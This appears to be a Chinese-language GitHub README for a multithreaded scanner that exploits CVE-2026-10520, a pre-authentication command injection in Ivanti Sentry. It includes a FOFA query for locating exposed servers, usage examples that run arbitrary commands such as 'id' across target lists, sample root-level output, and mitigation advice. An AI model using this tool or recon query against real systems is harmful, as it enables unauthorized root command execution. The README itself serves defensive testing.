ogenich/CVE-2026-10520
GitHub: ogenich/CVE-2026-10520
针对 Ivanti Sentry CVE-2026-10520 预认证命令注入漏洞的批量扫描检测工具,支持多线程并发与结构化结果输出。
Stars: 1 | Forks: 0
# CVE-2026-10520 — Ivanti Sentry 批量扫描器
用于检测 [CVE-2026-10520](https://nvd.nist.gov/vuln/detail/CVE-2026-10520)(Ivanti Sentry 中的一个 OS 命令注入漏洞)的扫描工具。
## 漏洞概述
| 字段 | 值 |
|---|---|
| **CVE** | CVE-2026-10520 |
| **CWE** | CWE-78 (OS 命令注入) |
| **严重程度** | 严重 (CVSS 10.0) |
| **CVSS 向量** | `CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` |
| **受影响版本** | Ivanti Sentry < R10.5.2, < R10.6.2, < R10.7.1 |
| **攻击向量** | 网络,无需身份验证 |
| **影响** | Root 级别的远程代码执行 |
未经身份验证的远程攻击者可以利用此漏洞,在受影响的 Ivanti Sentry 服务器上以 root 权限注入并执行任意 OS 命令。
## 侦查
### FOFA 查询
```
body="Note: Requires a local Sentry administrative user."
```
## 扫描器
此工具可跨多个主机执行非破坏性检测扫描,以识别可能存在漏洞的 Ivanti Sentry 实例。
### 环境要求
- Python 3.8+
```
pip install -r requirements.txt
```
### 使用方法
```
python exploit_poc.py --targets hosts.txt --cmd id --output results
```
#### 目标文件格式
每行一个目标 URL。以 `#` 开头的行将被视为注释,空行将被跳过。如果未提供协议,则默认使用 `https://`。
```
# 示例 targets.txt
192.168.1.10:8443
https://sentry.example.com
192.168.1.11:8443
```
#### 选项
| 标志 | 描述 | 默认值 |
|---|---|---|
| `--targets` | 包含目标 URL 的文件路径(每行一个) | *(必填)* |
| `--cmd` | 要运行的检测命令 | `id` |
| `--threads` | 最大并发扫描线程数 | `10` |
| `--rate-limit` | 每个主机请求之间的延迟秒数 | `0.0` |
| `--timeout` | 每个主机的请求超时时间(秒) | `10` |
| `-p, --proxy` | 代理地址:端口(例如 `127.0.0.1:8080`) | — |
| `--output` | 输出文件的基本名称(CSV + JSON) | — |
#### 示例
```
# 基础扫描
python exploit_poc.py --targets targets.txt
# 自定义命令,更高并发
python exploit_poc.py --targets targets.txt --cmd 'uname -a' --threads 20
# 使用代理和输出文件
python exploit_poc.py --targets targets.txt --proxy 127.0.0.1:8080 --output results
# 限速扫描
python exploit_poc.py --targets targets.txt --rate-limit 0.5
```
### 输出
#### 控制台
显示每个主机的扫描结果及颜色编码的状态:
```
[ VULNERABLE] https://192.168.1.10:8443 HTTP 200 Output: uid=0(root) gid=0(root) ...
[NOT VULNERABLE] https://192.168.1.11:8443 HTTP 404
[ ERROR] https://192.168.1.12:8443 HTTP None Error: Connection timed out
```
最后的汇总信息:
```
============================================================
SCAN SUMMARY
============================================================
Total scanned : 3
Vulnerable : 1
Not vulnerable : 1
Errors : 1
============================================================
```
#### 文件输出
`--output results` 会生成两个文件:
- `results.csv` — 结构化的 CSV,包含的列有:`host`、`status`、`http_code`、`command_output_snippet`、`error`
- `results.json` — 包含相同对象的结构化 JSON 数组
### 检测逻辑
当响应同时满足以下两个条件时,该主机将被标记为**存在漏洞 (VULNERABLE)**:
1. 响应正文包含 `Message handled successfully`
2. JSON `data` 字段包含 `... `
提取 `` 内的命令输出文本,并将其包含在结果中。
## 示例

## 缓解措施
- 升级至 Ivanti Sentry R10.5.2、R10.6.2 或 R10.7.1 及更高版本
- 立即应用官方提供的安全补丁
- 限制对 Ivanti Sentry 管理界面的网络访问
## 参考链接
- [WatchTowr 博客:更多证据表明词语的含义并非我们想象的那样 —— Ivanti Sentry 预认证 OS 命令注入 (CVE-2026-10520)](https://labs.watchtowr.com/more-evidence-that-words-dont-mean-what-we-thought-they-meant-ivanti-sentry-pre-auth-os-command-injection-cve-2026-10520)
- [watchTowr Labs — watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523](https://github.com/watchtowrlabs/watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523)
## 免责声明
此工具仅供授权的安全测试使用。操作员在进行扫描之前,必须确认已获得目标系统所有者组织的书面许可。未经授权的扫描可能违反相关法律法规。
## 许可协议
本项目按“原样”提供,用于内部安全评估用途。
标签:Maven, Python, XXE攻击, 加密, 命令注入, 无后门, 漏洞扫描器, 漏洞验证, 逆向工具